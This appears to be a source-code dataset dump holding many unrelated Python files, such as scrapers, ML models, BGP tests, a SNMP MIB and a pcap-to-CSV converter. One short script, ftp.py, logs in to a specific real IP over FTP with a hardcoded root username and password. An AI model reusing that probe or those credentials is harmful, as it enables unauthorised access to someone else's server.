] | null | null | null | rapp_testing_tools/src/rapp_testing_tools/rapp_testing_core.py | DEVX1/NAOrapp-Pythonlib | d07d7fe304556cad24e7e138df4e41376eacb6a7 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#Copyright 2015 RAPP
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#http://www.apache.org/licenses/LICENSE-2.0
#Unless required by applicabl... | 29.996403 | 82 | 0.58832 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#Copyright 2015 RAPP
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#http://www.apache.org/licenses/LICENSE-2.0
#Unless required by applicabl... | 0 | 0 | 0 | 205 | 0 | 5,487 | 0 | -43 | 375 |
fd1c96698e6f7c7562f10de30edc13bc0b766cbf | 15,403 | py | Python | pymontecarlo_gui/options/beam/base.py | pymontecarlo/pymontecarlo-gui | 1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f | [
"Apache-2.0"
] | null | null | null | pymontecarlo_gui/options/beam/base.py | pymontecarlo/pymontecarlo-gui | 1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f | [
"Apache-2.0"
] | 2 | 2016-05-16T10:19:56.000Z | 2021-12-29T15:16:20.000Z | pymontecarlo_gui/options/beam/base.py | pymontecarlo/pymontecarlo-gui | 1b3c37d4b634a85c63f23d27ea8bd79bf5a43a2f | [
"Apache-2.0"
] | null | null | null | """"""
# Standard library modules.
from collections import namedtuple
# Third party modules.
# Local modules.
# Globals and constants variables.
Position = namedtuple("Position", ("x_m", "y_m"))
| 28.898687 | 82 | 0.652925 | """"""
# Standard library modules.
import abc
from collections import namedtuple
import itertools
# Third party modules.
from qtpy import QtCore, QtGui, QtWidgets
import numpy as np
# Local modules.
from pymontecarlo.options.beam.base import BeamBase
from pymontecarlo.options.particle import Particle
from pymonteca... | 0 | 156 | 0 | 14,164 | 0 | 0 | 0 | 324 | 544 |
46bea9e2fbb3568b36cb4f14630ab5d9663be4d5 | 826 | py | Python | pyrads/Absorption_Crosssections_UV.py | ddbkoll/PyRADS-shortwave | 9d86f7dc07bef37f832949a584f0abe2fd3b72c4 | [
"MIT"
] | 3 | 2020-12-22T17:39:12.000Z | 2021-02-10T12:31:52.000Z | pyrads/Absorption_Crosssections_UV.py | ddbkoll/PyRADS-shortwave | 9d86f7dc07bef37f832949a584f0abe2fd3b72c4 | [
"MIT"
] | 1 | 2019-11-26T22:53:52.000Z | 2021-02-18T13:35:50.000Z | pyrads/Absorption_Crosssections_UV.py | ddbkoll/PyRADS-shortwave | 9d86f7dc07bef37f832949a584f0abe2fd3b72c4 | [
"MIT"
] | 1 | 2021-05-21T17:55:36.000Z | 2021-05-21T17:55:36.000Z | from __future__ import division, print_function, absolute_import
'''
Implement UV scattering cross-sections.
Either data or fits.
'''
### -----------------------------------
### Global definitions here
### -----------------------------------
### Absorption crosssection for CO2
### based on eqn 6 in Venot+ (2013).
| 27.533333 | 122 | 0.561743 | from __future__ import division, print_function, absolute_import
import numpy as np
from . import phys
import os
'''
Implement UV scattering cross-sections.
Either data or fits.
'''
### -----------------------------------
### Global definitions here
### -----------------------------------
### Absorption crosssectio... | 0 | 0 | 0 | 0 | 0 | 436 | 0 | -18 | 89 |
1685731263b74c59bfdef531e9fab0f3fc9420f5 | 200 | py | Python | scripts/item/consume_2434574.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 54 | 2019-04-16T23:24:48.000Z | 2021-12-18T11:41:50.000Z | scripts/item/consume_2434574.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 3 | 2019-05-19T15:19:41.000Z | 2020-04-27T16:29:16.000Z | scripts/item/consume_2434574.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 49 | 2020-11-25T23:29:16.000Z | 2022-03-26T16:20:24.000Z | # Full Moon Damage Skin
success = sm.addDamageSkin(2434574)
if success:
sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.")
# sm.consumeItem(2434574)
| 33.333333 | 97 | 0.745 | # Full Moon Damage Skin
success = sm.addDamageSkin(2434574)
if success:
sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.")
# sm.consumeItem(2434574)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
212466f096bb63bb64ea1c7aed334c836bb300b4 | 4,215 | py | Python | engineering/dataset/crawl_codes/cjscrape.py | ningfeiwang/Code_De-anonymization | 7c144be4f84eab8d6373ab7608280d80128435d5 | [
"MIT"
] | 3 | 2019-09-26T18:52:33.000Z | 2020-06-13T10:17:22.000Z | engineering/dataset/crawl_codes/cjscrape.py | ningfeiwang/Code_De-anonymization | 7c144be4f84eab8d6373ab7608280d80128435d5 | [
"MIT"
] | null | null | null | engineering/dataset/crawl_codes/cjscrape.py | ningfeiwang/Code_De-anonymization | 7c144be4f84eab8d6373ab7608280d80128435d5 | [
"MIT"
] | 1 | 2021-08-09T09:21:18.000Z | 2021-08-09T09:21:18.000Z | #!/usr/local/bin/python
# coding:utf-8
import json
import os
import multiprocessing
# returns the URL to download the user submission
# scrapes the C/C++/Python files of the given round
# main section of script
if __name__ == '__main__':
script_path = os.path.dirname(os.path.realpath(__file__))
metadatafile ... | 37.972973 | 106 | 0.541637 | #!/usr/local/bin/python
# coding:utf-8
from urllib import urlopen
from urllib import urlretrieve
import json
import sys
import os
import zipfile
import shutil
import multiprocessing
# returns the URL to download the user submission
def get_download_url(round_id, problem_id, username):
return "http://code.google.c... | 0 | 0 | 0 | 0 | 0 | 3,212 | 0 | -12 | 155 |
2282f6e87cb3130b7496b5870fd8c7852d9ed08b | 1,972 | py | Python | tests/test_il_medicaid.py | kiwisquash/city-scrapers | 38ca372467856853b36ec180c440eef0a0c6ce5b | [
"MIT"
] | 1 | 2019-03-18T03:12:25.000Z | 2019-03-18T03:12:25.000Z | tests/test_il_medicaid.py | kiwisquash/city-scrapers | 38ca372467856853b36ec180c440eef0a0c6ce5b | [
"MIT"
] | null | null | null | tests/test_il_medicaid.py | kiwisquash/city-scrapers | 38ca372467856853b36ec180c440eef0a0c6ce5b | [
"MIT"
] | null | null | null | from os.path import dirname, join
from freezegun import freeze_time
from city_scrapers_core.utils import file_response
from city_scrapers.spiders.il_medicaid import IlMedicaidSpider
test_response = file_response(
join(dirname(__file__), "files", "il_medicaid.html"),
url="https://www.illinois.gov/hfs/About/Boa... | 22.409091 | 88 | 0.678499 | from datetime import datetime
from os.path import dirname, join
import re
import pytest
from freezegun import freeze_time
from city_scrapers_core.constants import NOT_CLASSIFIED
from city_scrapers_core.utils import file_response
from city_scrapers.spiders.il_medicaid import IlMedicaidSpider
test_response = file_resp... | 0 | 0 | 0 | 0 | 0 | 52 | 0 | 22 | 112 |
79b80d0c3b746a092c83a791ebac8e67d24c451d | 16,170 | py | Python | v0/aia_eis_v0/circuits/vogit_1.py | DreamBoatOve/aia_eis | 458b4d29846669b10db4da1b3e86c0b394614ceb | [
"MIT"
] | 1 | 2022-03-02T12:57:19.000Z | 2022-03-02T12:57:19.000Z | v0/aia_eis_v0/circuits/vogit_1.py | DreamBoatOve/aia_eis | 458b4d29846669b10db4da1b3e86c0b394614ceb | [
"MIT"
] | null | null | null | v0/aia_eis_v0/circuits/vogit_1.py | DreamBoatOve/aia_eis | 458b4d29846669b10db4da1b3e86c0b394614ceb | [
"MIT"
] | null | null | null | import sys
sys.path.append('../')
# ---------------------------------- Test Vogit_3 on Lin-KK-Ex1_LIB_time_invariant ----------------------------------
# 1- load data
# fit_type = 'real'
# fit_type = 'imag'
# fit_type = 'complex'
# lib_res_fp = '../plugins_test/jupyter_code/rbp_files/2/example_data_sets/LIB_res'
# if... | 38.317536 | 147 | 0.532158 | import sys
sys.path.append('../')
import numpy as np
import math
import copy
import os
from circuits.elements import ele_C, ele_L
from IS.IS import IS_0
from IS.IS_criteria import cal_ChiSquare_0
from utils.file_utils.pickle_utils import pickle_file
from utils.visualize_utils.IS_plots.ny import nyquist_multiPlots_1, n... | 1,415 | 0 | 0 | 12,487 | 0 | 83 | 0 | 101 | 245 |
8ce4728ba2ad7bcb6e60aff77117e3d48d808d4a | 406 | py | Python | Python3/FileIO/write.py | norbertosanchezdichi/TIL | 2e9719ddd288022f53b094a42679e849bdbcc625 | [
"MIT"
] | null | null | null | Python3/FileIO/write.py | norbertosanchezdichi/TIL | 2e9719ddd288022f53b094a42679e849bdbcc625 | [
"MIT"
] | null | null | null | Python3/FileIO/write.py | norbertosanchezdichi/TIL | 2e9719ddd288022f53b094a42679e849bdbcc625 | [
"MIT"
] | null | null | null | with open("haiku.txt", "w") as file:
file.write("Writing files is great\n")
file.write("Here's another line of text\n")
file.write("Closing now, goodbye!")
with open("haiku.txt", "w") as file:
file.write("Here's one more haiku\n")
file.write("What about the older one?\n")
file.write("Let's ... | 33.833333 | 47 | 0.62069 | with open("haiku.txt", "w") as file:
file.write("Writing files is great\n")
file.write("Here's another line of text\n")
file.write("Closing now, goodbye!")
with open("haiku.txt", "w") as file:
file.write("Here's one more haiku\n")
file.write("What about the older one?\n")
file.write("Let's ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
4a3e2b0ffbf9e7280df0c8a13b538c297ebb0165 | 7,562 | py | Python | packnet_sfm/utils/image.py | bingai/packnet-sfm-nrs | 2e9fb8850b4e1ae2227e30bff580997fb5377802 | [
"MIT"
] | null | null | null | packnet_sfm/utils/image.py | bingai/packnet-sfm-nrs | 2e9fb8850b4e1ae2227e30bff580997fb5377802 | [
"MIT"
] | null | null | null | packnet_sfm/utils/image.py | bingai/packnet-sfm-nrs | 2e9fb8850b4e1ae2227e30bff580997fb5377802 | [
"MIT"
] | null | null | null | # Copyright 2020 Toyota Research Institute. All rights reserved.
import cv2
import torch
import torch.nn.functional as funct
from PIL import Image
from packnet_sfm.utils.misc import same_shape
def load_image(path):
"""
Read an image using PIL
Parameters
----------
path : str
Path to th... | 26.440559 | 120 | 0.549855 | # Copyright 2020 Toyota Research Institute. All rights reserved.
import cv2
import torch
import torch.nn.functional as funct
from functools import lru_cache
from PIL import Image
from packnet_sfm.utils.misc import same_shape
def load_image(path):
"""
Read an image using PIL
Parameters
----------
... | 0 | 1,653 | 0 | 0 | 0 | 0 | 0 | 10 | 68 |
d31474846e26a56b1a8fe87101c4edc3c8f19c43 | 4,475 | py | Python | aki.py | wolfniey/school-diary-telegram-bot | 7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd | [
"MIT"
] | 2 | 2020-04-27T10:45:31.000Z | 2020-07-28T08:55:55.000Z | aki.py | wolfniey/school-diary-telegram-bot | 7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd | [
"MIT"
] | null | null | null | aki.py | wolfniey/school-diary-telegram-bot | 7a50a4649c2cd9f8052f47dbf9ef697bcfa151bd | [
"MIT"
] | null | null | null | import logging
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
level=logging.INFO)
logger = logging.getLogger(__name__)
COMMON, SCHOOL, LOGIN = range(3)
KREPLY = ['Marks', 'Homework', 'Timetable', 'Choose School']
if __name__ == '__main__':
main... | 29.833333 | 144 | 0.693631 | import logging
import accounts
import diary
from datetime import datetime, timedelta
from telegram import (ReplyKeyboardMarkup, ReplyKeyboardRemove)
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters,
ConversationHandler)
logging.basicConfig(format='%(asctime)s - %(n... | 30 | 0 | 0 | 0 | 0 | 3,631 | 0 | 147 | 365 |
c01b111751bee63eeaa564788b3609ddc25c43bc | 819 | py | Python | 1_small-problems/1.1_the fibonacci sequence/fib4.py | bimri/Classic-Computer-Science-Problems-in-Python | d91a1120ef93a5f1b213fcbb7f8e1669c298a826 | [
"MIT"
] | null | null | null | 1_small-problems/1.1_the fibonacci sequence/fib4.py | bimri/Classic-Computer-Science-Problems-in-Python | d91a1120ef93a5f1b213fcbb7f8e1669c298a826 | [
"MIT"
] | null | null | null | 1_small-problems/1.1_the fibonacci sequence/fib4.py | bimri/Classic-Computer-Science-Problems-in-Python | d91a1120ef93a5f1b213fcbb7f8e1669c298a826 | [
"MIT"
] | null | null | null | "Automatic memoization"
'''
fib3() can be further simplified. Python has a built-in decorator for memoizing any
function automagically. In fib4(), the decorator @functools.lru_cache() is used
with the same exact code as we used in fib2(). Each time fib4() is executed with a
novel argument, the decorator causes the ret... | 32.76 | 87 | 0.672772 | "Automatic memoization"
'''
fib3() can be further simplified. Python has a built-in decorator for memoizing any
function automagically. In fib4(), the decorator @functools.lru_cache() is used
with the same exact code as we used in fib2(). Each time fib4() is executed with a
novel argument, the decorator causes the ret... | 0 | 197 | 0 | 0 | 0 | 0 | 0 | 10 | 46 |
869e1a8a1acc2e79662297051e47a12a2bfb89e6 | 1,133 | py | Python | patients/urls.py | Curewell-Homeo-Clinic/admin-system | c8ce56a2bdbccfe1e6bec09068932f1943498b9f | [
"MIT"
] | 1 | 2021-11-29T15:24:41.000Z | 2021-11-29T15:24:41.000Z | patients/urls.py | Curewell-Homeo-Clinic/admin-system | c8ce56a2bdbccfe1e6bec09068932f1943498b9f | [
"MIT"
] | 46 | 2021-11-29T16:05:55.000Z | 2022-03-01T13:04:45.000Z | patients/urls.py | Curewell-Homeo-Clinic/admin-system | c8ce56a2bdbccfe1e6bec09068932f1943498b9f | [
"MIT"
] | null | null | null | from django.urls import path, include
from patients.views.dashboard import dashboard
from patients.views.patient import patient_detail, patient_list
from patients.views.doctor import doctor_detail, doctor_list
from patients.views.appointment import appointment_detail, appointment_list
from patients.views.invoice import... | 45.32 | 78 | 0.729038 | from django.urls import path, include
from patients.views.dashboard import dashboard
from patients.views.patient import patient_detail, patient_list
from patients.views.doctor import doctor_detail, doctor_list
from patients.views.appointment import appointment_detail, appointment_list
from patients.views.invoice import... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
fef9c9b2ba53d6862218a750158a4731be0bac4e | 9,763 | py | Python | main.py | arame/SLAM | 7841dce5e6da641e676a1e4f0f2667300e2f8a15 | [
"OML"
] | null | null | null | main.py | arame/SLAM | 7841dce5e6da641e676a1e4f0f2667300e2f8a15 | [
"OML"
] | null | null | null | main.py | arame/SLAM | 7841dce5e6da641e676a1e4f0f2667300e2f8a15 | [
"OML"
] | null | null | null |
## slam takes in 6 arguments and returns mu,
## mu is the entire path traversed by a robot (all x,y poses) *and* all landmarks locations
def initialize_constraints(N, num_landmarks, world_size):
''' This function takes in a number of time steps N, number of landmarks, and a world_size,
and returns initia... | 37.263359 | 121 | 0.626754 | import numpy as np
import matplotlib.pyplot as plt
from numpy.linalg import inv
from pandas import DataFrame
import seaborn as sns
from robot_class import Robot
from helpers import display_world, make_data
def main():
# world parameters
num_landmarks = 5 # number of landmarks
N ... | 0 | 0 | 0 | 0 | 0 | 8,461 | 0 | 52 | 337 |
bb0297f41becea0709adc150426ee1cd3b03c974 | 858 | py | Python | projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py | anouaraissani/H4ckT0b3rF3st-2k20 | 1f77652add0effdc7462c829dfb88d5f6818d07e | [
"MIT"
] | 1 | 2020-10-12T16:23:55.000Z | 2020-10-12T16:23:55.000Z | projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py | anouaraissani/H4ckT0b3rF3st-2k20 | 1f77652add0effdc7462c829dfb88d5f6818d07e | [
"MIT"
] | 1 | 2020-10-11T17:06:48.000Z | 2020-10-11T17:06:48.000Z | projects/vault-of-scripts/YT-Playlist-Downloader/ytpldl.py | anouaraissani/H4ckT0b3rF3st-2k20 | 1f77652add0effdc7462c829dfb88d5f6818d07e | [
"MIT"
] | null | null | null | from pytube import Playlist
if __name__ == '__main__':
playlist = Playlist("https://www.youtube.com/playlist?list=PL8A83A276F0D85E70")
main(1, playlist)
| 27.677419 | 83 | 0.622378 | from pytube import YouTube # pip install pytube or pytube3
from pytube import Playlist
import os, re
def Download(yt):
print("Downloading....")
# Filter Streams (Optional)
vids = yt.streams.filter()
# Get only .mp4 format
vids[0].download(r"Tracks/")
def main(c, playlist):
# Filter Playlist Ur... | 0 | 0 | 0 | 0 | 0 | 577 | 0 | -3 | 122 |
43a7e7000b9dabe6e0dbe1d58235a074bdf1c40f | 5,593 | py | Python | pybgp/test/test_pathattr.py | toddjcrane/pybgp | 5fa7699675c120b98c5b6fc637bfc29ba5a665f4 | [
"MIT"
] | 5 | 2015-06-14T02:51:23.000Z | 2019-01-05T15:54:22.000Z | pybgp/test/test_pathattr.py | toddjcrane/pybgp | 5fa7699675c120b98c5b6fc637bfc29ba5a665f4 | [
"MIT"
] | null | null | null | pybgp/test/test_pathattr.py | toddjcrane/pybgp | 5fa7699675c120b98c5b6fc637bfc29ba5a665f4 | [
"MIT"
] | 4 | 2016-11-26T01:43:10.000Z | 2021-08-13T16:08:27.000Z | #!/usr/bin/python
| 27.551724 | 190 | 0.550331 | #!/usr/bin/python
import socket
import unittest
from pybgp import pathattr, nlri
class TestOrigin(unittest.TestCase):
def test_encode(self):
orig = pathattr.Origin('igp')
b = orig.encode()
self.assertEqual(b, '\x40\x01\x01\x00')
def test_decode(self):
b = '\x40\x01\x01\x02'... | 0 | 0 | 0 | 5,371 | 0 | 0 | 0 | -3 | 206 |
3a6ac3e083b43f0be52796162d41f654222059ea | 2,487 | py | Python | checkmate/management/commands/init.py | marcinguy/checkmate-ce | fc33c7c27bc640ab4db5dbda274a0edd3b3db218 | [
"MIT"
] | 80 | 2015-01-06T17:42:39.000Z | 2022-02-08T19:08:21.000Z | checkmate/management/commands/init.py | ravikumarpurbey/checkmate | 1a4d010c8ef25c678d8d14dc8e37a9bed1883ca2 | [
"MIT"
] | 6 | 2015-08-04T12:16:48.000Z | 2021-02-27T12:09:16.000Z | checkmate/management/commands/init.py | ravikumarpurbey/checkmate | 1a4d010c8ef25c678d8d14dc8e37a9bed1883ca2 | [
"MIT"
] | 33 | 2015-01-02T14:18:11.000Z | 2021-03-18T05:06:54.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
import logging
logger = logging.getLogger(__name__)
"""
Creates a new project. The command proceeds as follows:
-We create a .checkmate directory in the current directory.
-If a project already exists in the same directory, we do nothing.
"""... | 27.633333 | 101 | 0.519099 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from .base import BaseCommand
from checkmate.management.helpers import save_project_config
import sys
import os
import os.path
import json
import time
import uuid
import logging
logger = logging.getLogger(__name__)
"""
Creates a new project. The comman... | 0 | 0 | 0 | 1,989 | 0 | 0 | 0 | -1 | 178 |
f77ef19bc22d083ea7feed89b8aa51d4550f8eda | 4,646 | py | Python | models/model_unet.py | iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer | 57904544c6d6b43dcd5937afeb474c0a47456d98 | [
"MIT"
] | null | null | null | models/model_unet.py | iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer | 57904544c6d6b43dcd5937afeb474c0a47456d98 | [
"MIT"
] | null | null | null | models/model_unet.py | iamsofancyyoualreadyknow/IHC-based-labels-generation-and-semantic-segmentation-for-lung-cancer | 57904544c6d6b43dcd5937afeb474c0a47456d98 | [
"MIT"
] | null | null | null | import tensorflow as tf
arg_scope = tf.contrib.framework.arg_scope
| 41.482143 | 137 | 0.655833 | import tensorflow as tf
from tensorflow.python.ops import control_flow_ops
from six.moves import cPickle
import unet
import simplified_unet
arg_scope = tf.contrib.framework.arg_scope
class UnetModel(object):
def __init__(self, number_class=3, is_training=True, is_simplified = False, dropout = True):
""... | 0 | 0 | 0 | 4,439 | 0 | 0 | 0 | 28 | 111 |
8bb61dd567b5ca0da6e74a0f8a595d90330016ec | 3,981 | py | Python | pysnmp-with-texts/GNOME-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/GNOME-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/GNOME-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI
# Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23... | 102.076923 | 505 | 0.786486 | #
# PySNMP MIB module GNOME-SMI (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/GNOME-SMI
# Produced by pysmi-0.3.4 at Wed May 1 13:19:45 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
eb7fcc229e2738f4ef94d625899ae037199f88ae | 375 | py | Python | ftp.py | ZDYC/hacker | 3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6 | [
"Apache-2.0"
] | null | null | null | ftp.py | ZDYC/hacker | 3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6 | [
"Apache-2.0"
] | null | null | null | ftp.py | ZDYC/hacker | 3dd9556bda629a1f2b96905ed3e62ed3f02ae3f6 | [
"Apache-2.0"
] | null | null | null |
if __name__ == '__main__':
anonlogin('154.221.18.35') | 22.058824 | 57 | 0.573333 | import ftplib
def anonlogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('root', 'hx1NM396')
print('\n[*]' + str(hostname) + 'ftp successed!')
ftp.quit()
return True
except Exception as e:
print('failded to ftp' + str(hostname))
return False
if... | 0 | 0 | 0 | 0 | 0 | 278 | 0 | -8 | 45 |
458bb15a61c36499cdc3ad3c42cfe8316646e17b | 2,497 | py | Python | scripts/pcap2csv.py | rqtx/Nymphenburg | 08ed27b25b336d6201afaa27698ac405a53e537c | [
"MIT"
] | null | null | null | scripts/pcap2csv.py | rqtx/Nymphenburg | 08ed27b25b336d6201afaa27698ac405a53e537c | [
"MIT"
] | null | null | null | scripts/pcap2csv.py | rqtx/Nymphenburg | 08ed27b25b336d6201afaa27698ac405a53e537c | [
"MIT"
] | null | null | null | #!/bin/python
convert('amplifier')
convert('attacker')
convert('victim')
convert('amplifier_input')
convert('amplifier_output')
| 28.375 | 123 | 0.470164 | #!/bin/python
import getopt
import sys
class Pcap2Csv():
__SHORTARGS = 'p:ho:t:'
__LONGARGS = ['pcap=', 'help', 'output=', 'time=']
__USAGE = ['Pcap file', 'Help', 'Output file', 'Start attack time']
start_time = 0
end_time = 0
def __init__(self):
self.__cliParser()
self.__c... | 0 | 0 | 0 | 1,686 | 0 | 609 | 0 | -19 | 91 |
c8a775210c813d4a841be4a5bc26ac6f6f6141bb | 6,013 | py | Python | src/relstorage/adapters/postgresql/connmanager.py | enfold/relstorage | 9fcd526b537cb6537cc2ae33154b63096550f210 | [
"ZPL-2.1"
] | 40 | 2015-10-08T05:35:13.000Z | 2022-03-28T23:50:06.000Z | src/relstorage/adapters/postgresql/connmanager.py | enfold/relstorage | 9fcd526b537cb6537cc2ae33154b63096550f210 | [
"ZPL-2.1"
] | 364 | 2015-03-23T15:25:42.000Z | 2022-03-17T08:41:34.000Z | src/relstorage/adapters/postgresql/connmanager.py | enfold/relstorage | 9fcd526b537cb6537cc2ae33154b63096550f210 | [
"ZPL-2.1"
] | 33 | 2015-06-08T23:03:22.000Z | 2022-03-21T08:25:53.000Z | ##############################################################################
#
# Copyright (c) 2008 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... | 42.64539 | 84 | 0.622984 | ##############################################################################
#
# Copyright (c) 2008 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... | 0 | 1,823 | 0 | 3,226 | 0 | 0 | 0 | 65 | 90 |
442d3a64baf645e86d88223fdea6691517abbbdd | 706 | py | Python | python/03_tipos_de_dados/tipos.py | ac-gomes/python-iniciante | 002fc91facb5d89c23540d8b05073e8a3c8a4c59 | [
"MIT"
] | null | null | null | python/03_tipos_de_dados/tipos.py | ac-gomes/python-iniciante | 002fc91facb5d89c23540d8b05073e8a3c8a4c59 | [
"MIT"
] | null | null | null | python/03_tipos_de_dados/tipos.py | ac-gomes/python-iniciante | 002fc91facb5d89c23540d8b05073e8a3c8a4c59 | [
"MIT"
] | null | null | null | # funo usada abaixo 'print()' usada para exibir ou imprimir mensagens no console.
# Iteiros | Int
print(10)
# Ser exibido no console o numero 10
# Ponto Flutuante | Float
print(9.5)
# Cadeia de caracteres | Strings
cadeia_de_caracter = "Ol Mundo!"
print(cadeia_de_caracter)
# Boleano | Boolean
valor_verdadeiro = Tr... | 23.533333 | 85 | 0.763456 | # função usada abaixo 'print()' é usada para exibir ou imprimir mensagens no console.
# Iteiros | Int
print(10)
# Será exibido no console o numero 10
# Ponto Flutuante | Float
print(9.5)
# Cadeia de caracteres | Strings
cadeia_de_caracter = "Olá Mundo!"
print(cadeia_de_caracter)
# Boleano | Boolean
valor_verdadeiro... | 16 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c98c3446c8a67fb418f6a8db9d31a0315ee0fc3c | 6,470 | py | Python | tuprolog/jvmutils.py | DavideEva/2ppy | 55609415102f8116165a42c8e33e029c4906e160 | [
"Apache-2.0"
] | 1 | 2021-08-07T06:29:28.000Z | 2021-08-07T06:29:28.000Z | tuprolog/jvmutils.py | DavideEva/2ppy | 55609415102f8116165a42c8e33e029c4906e160 | [
"Apache-2.0"
] | 14 | 2021-09-16T13:25:12.000Z | 2022-01-03T10:12:22.000Z | tuprolog/jvmutils.py | DavideEva/2ppy | 55609415102f8116165a42c8e33e029c4906e160 | [
"Apache-2.0"
] | 1 | 2021-12-22T00:25:32.000Z | 2021-12-22T00:25:32.000Z | from tuprolog import logger
# noinspection PyUnresolvedReferences
import jpype
# noinspection PyUnresolvedReferences
# noinspection PyProtectedMember
from _jpype import _JObject as JObjectClass
# noinspection PyUnresolvedReferences
import java.util as _jutils
# noinspection PyUnresolvedReferences
import java.lang as _j... | 24.323308 | 95 | 0.696909 | from tuprolog import logger
# noinspection PyUnresolvedReferences
import jpype
# noinspection PyUnresolvedReferences
import jpype.imports
# noinspection PyProtectedMember
from _jpype import _JObject as JObjectClass
# noinspection PyUnresolvedReferences
import java.util as _jutils
# noinspection PyUnresolvedReferences
i... | 0 | 2,940 | 0 | 298 | 0 | 1,318 | 0 | 62 | 596 |
b093d851bb61a63849ee99c0bd9b7eb617be0eb7 | 111 | py | Python | investpy/resources/__init__.py | mdarblade/investpy | 7ace4ac7693f505c199074de3333f56e6b89cfef | [
"MIT"
] | null | null | null | investpy/resources/__init__.py | mdarblade/investpy | 7ace4ac7693f505c199074de3333f56e6b89cfef | [
"MIT"
] | null | null | null | investpy/resources/__init__.py | mdarblade/investpy | 7ace4ac7693f505c199074de3333f56e6b89cfef | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub
# See LICENSE for details.
| 22.2 | 60 | 0.756757 | #!/usr/bin/env python
# Copyright 2018-2019 Alvaro Bartolome @ alvarob96 in GitHub
# See LICENSE for details.
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b832291fdac4819b20b9c725cc9297678bc16751 | 725 | py | Python | scripts/countries.py | rizel/timewarrior-southamerica-holidays | ba412e96b6ab72efef51bf786148476a31003e8c | [
"MIT"
] | null | null | null | scripts/countries.py | rizel/timewarrior-southamerica-holidays | ba412e96b6ab72efef51bf786148476a31003e8c | [
"MIT"
] | 1 | 2021-02-28T19:30:44.000Z | 2021-03-09T04:09:54.000Z | scripts/countries.py | rizel/timewarrior-southamerica-holidays | ba412e96b6ab72efef51bf786148476a31003e8c | [
"MIT"
] | null | null | null | #!/usr/bin/python3.6.0
# -*- coding: utf-8 -*-
COUNTRIES = {
"argentina" : ".com.ar",
"bolivia" : ".com.bo",
"brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais",
"chile" : ".cl",
"colombia" : ".co",
"ecuador" : ".la/ecu... | 34.52381 | 88 | 0.475862 | #!/usr/bin/python3.6.0
# -*- coding: utf-8 -*-
COUNTRIES = {
"argentina" : ".com.ar",
"bolivia" : ".com.bo",
"brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais",
"chile" : ".cl",
"colombia" : ".co",
"ecuador" : ".la/ecu... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |